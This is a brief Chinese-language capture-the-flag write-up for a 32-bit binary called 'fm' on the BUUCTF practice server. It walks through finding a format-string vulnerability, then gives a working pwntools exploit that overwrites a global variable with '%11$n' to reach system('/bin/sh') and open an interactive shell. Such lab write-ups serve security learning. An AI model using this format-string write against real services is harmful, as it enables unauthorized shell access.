1.例行检查保护机制
我们看到开启了堆和栈保护
2.我们用32位的IDA打开该文件
shift+f12查看关键字符串
我们看到关键字符串“/bin/sh”
3.我们看看main函数里面有什么
我们看到如果x == 4,程序就会执行system("/bin/sh"),拿到权限
这里是格式化字符串漏洞
x是全局变量,位置在data段上:x_addr = 0x0804A02C
我们看看参数在栈上的位置,我们发现aaaa的位置在第十一个
4.EXP
#encoding = utf-8
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
def main():
if content == 1:
p = process('fm')
else:
p = remote('node4.buuoj.cn',28404)
#.data:0804A02C x
addr = 0x0804A02C
payload = p32(addr) + b'%11$n'
p.sendline(payload)
p.interactive()
main()